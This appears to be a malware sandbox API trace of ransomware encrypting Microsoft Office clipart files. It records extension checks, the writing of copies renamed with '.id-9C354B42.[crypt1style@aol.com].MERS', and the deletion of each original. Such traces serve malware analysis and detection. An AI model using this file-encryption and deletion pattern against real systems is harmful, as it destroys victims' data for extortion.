lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".jpg") returned 4 [0272.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".doc") returned 4 [0272.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString=".docx") returned 5 [0272.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.548] lstrlenW (lpString=".pdf") returned 4 [0272.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString=".xls") returned 4 [0272.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.548] lstrlenW (lpString=".xlsx") returned 5 [0272.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.548] lstrlenW (lpString=".ppt") returned 4 [0272.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".zip") returned 4 [0272.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.548] lstrlenW (lpString=".rar") returned 4 [0272.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString=".bz2") returned 4 [0272.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString=".7z") returned 3 [0272.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".dbf") returned 4 [0272.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".1cd") returned 4 [0272.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.549] lstrlenW (lpString=".jpg") returned 4 [0272.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.549] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.549] lstrlenW (lpString="BL00524_.WMF") returned 12 [0272.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.549] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=6996) returned 1 [0272.549] CloseHandle (hObject=0x410) returned 1 [0272.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0272.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.550] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.550] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.550] GetLastError () returned 0x0 [0272.550] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1b54, lpOverlapped=0x0) returned 1 [0272.638] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0272.639] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.639] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.639] SetEndOfFile (hFile=0x3a8) returned 1 [0272.639] CloseHandle (hObject=0x3a8) returned 1 [0272.639] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.639] SetEndOfFile (hFile=0x410) returned 1 [0272.641] CloseHandle (hObject=0x410) returned 1 [0272.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0272.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.641] lstrlenW (lpString=".doc") returned 4 [0272.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.641] lstrlenW (lpString=".docx") returned 5 [0272.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.641] lstrlenW (lpString=".pdf") returned 4 [0272.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.641] lstrlenW (lpString=".xls") returned 4 [0272.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.641] lstrlenW (lpString=".xlsx") returned 5 [0272.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.642] lstrlenW (lpString=".ppt") returned 4 [0272.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString=".zip") returned 4 [0272.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.642] lstrlenW (lpString=".rar") returned 4 [0272.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString=".bz2") returned 4 [0272.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString=".7z") returned 3 [0272.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString=".dbf") returned 4 [0272.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString=".1cd") returned 4 [0272.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString=".jpg") returned 4 [0272.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.642] lstrlenW (lpString=".doc") returned 4 [0272.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString=".docx") returned 5 [0272.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.643] lstrlenW (lpString=".pdf") returned 4 [0272.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString=".xls") returned 4 [0272.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.643] lstrlenW (lpString=".xlsx") returned 5 [0272.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.643] lstrlenW (lpString=".ppt") returned 4 [0272.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.643] lstrlenW (lpString=".zip") returned 4 [0272.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.643] lstrlenW (lpString=".rar") returned 4 [0272.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString=".bz2") returned 4 [0272.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString=".7z") returned 3 [0272.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.643] lstrlenW (lpString=".dbf") returned 4 [0272.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.643] lstrlenW (lpString=".1cd") returned 4 [0272.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0272.643] lstrlenW (lpString=".jpg") returned 4 [0272.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.643] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.643] lstrlenW (lpString="BL00526_.WMF") returned 12 [0272.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.644] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=27552) returned 1 [0272.644] CloseHandle (hObject=0x410) returned 1 [0272.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0272.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.644] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.644] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.644] GetLastError () returned 0x0 [0272.644] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0272.741] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0272.742] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.742] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.742] SetEndOfFile (hFile=0x3a8) returned 1 [0272.743] CloseHandle (hObject=0x3a8) returned 1 [0272.743] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.743] SetEndOfFile (hFile=0x410) returned 1 [0272.745] CloseHandle (hObject=0x410) returned 1 [0272.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0272.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.754] lstrlenW (lpString=".doc") returned 4 [0272.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.754] lstrlenW (lpString=".docx") returned 5 [0272.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.755] lstrlenW (lpString=".pdf") returned 4 [0272.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString=".xls") returned 4 [0272.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.755] lstrlenW (lpString=".xlsx") returned 5 [0272.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.755] lstrlenW (lpString=".ppt") returned 4 [0272.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString=".zip") returned 4 [0272.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.755] lstrlenW (lpString=".rar") returned 4 [0272.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString=".bz2") returned 4 [0272.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString=".7z") returned 3 [0272.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString=".dbf") returned 4 [0272.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString=".1cd") returned 4 [0272.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString=".jpg") returned 4 [0272.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.755] lstrlenW (lpString=".doc") returned 4 [0272.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.755] lstrlenW (lpString=".docx") returned 5 [0272.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.755] lstrlenW (lpString=".pdf") returned 4 [0272.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString=".xls") returned 4 [0272.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.756] lstrlenW (lpString=".xlsx") returned 5 [0272.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.756] lstrlenW (lpString=".ppt") returned 4 [0272.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.756] lstrlenW (lpString=".zip") returned 4 [0272.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.756] lstrlenW (lpString=".rar") returned 4 [0272.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString=".bz2") returned 4 [0272.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString=".7z") returned 3 [0272.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.756] lstrlenW (lpString=".dbf") returned 4 [0272.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.756] lstrlenW (lpString=".1cd") returned 4 [0272.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0272.756] lstrlenW (lpString=".jpg") returned 4 [0272.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.756] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.756] lstrlenW (lpString="BL00932_.WMF") returned 12 [0272.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.757] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=19476) returned 1 [0272.757] CloseHandle (hObject=0x3ac) returned 1 [0272.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0272.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.757] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.757] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.757] GetLastError () returned 0x0 [0272.757] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x4c14, lpOverlapped=0x0) returned 1 [0272.761] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0272.762] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.762] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.762] SetEndOfFile (hFile=0x284) returned 1 [0272.762] CloseHandle (hObject=0x284) returned 1 [0272.762] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.763] SetEndOfFile (hFile=0x3ac) returned 1 [0272.766] CloseHandle (hObject=0x3ac) returned 1 [0272.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString=".doc") returned 4 [0272.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString=".docx") returned 5 [0272.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.769] lstrlenW (lpString=".pdf") returned 4 [0272.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString=".xls") returned 4 [0272.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.769] lstrlenW (lpString=".xlsx") returned 5 [0272.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.769] lstrlenW (lpString=".ppt") returned 4 [0272.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString=".zip") returned 4 [0272.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.769] lstrlenW (lpString=".rar") returned 4 [0272.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString=".bz2") returned 4 [0272.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString=".7z") returned 3 [0272.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString=".dbf") returned 4 [0272.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString=".1cd") returned 4 [0272.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString=".jpg") returned 4 [0272.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.770] lstrlenW (lpString=".doc") returned 4 [0272.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString=".docx") returned 5 [0272.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.770] lstrlenW (lpString=".pdf") returned 4 [0272.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString=".xls") returned 4 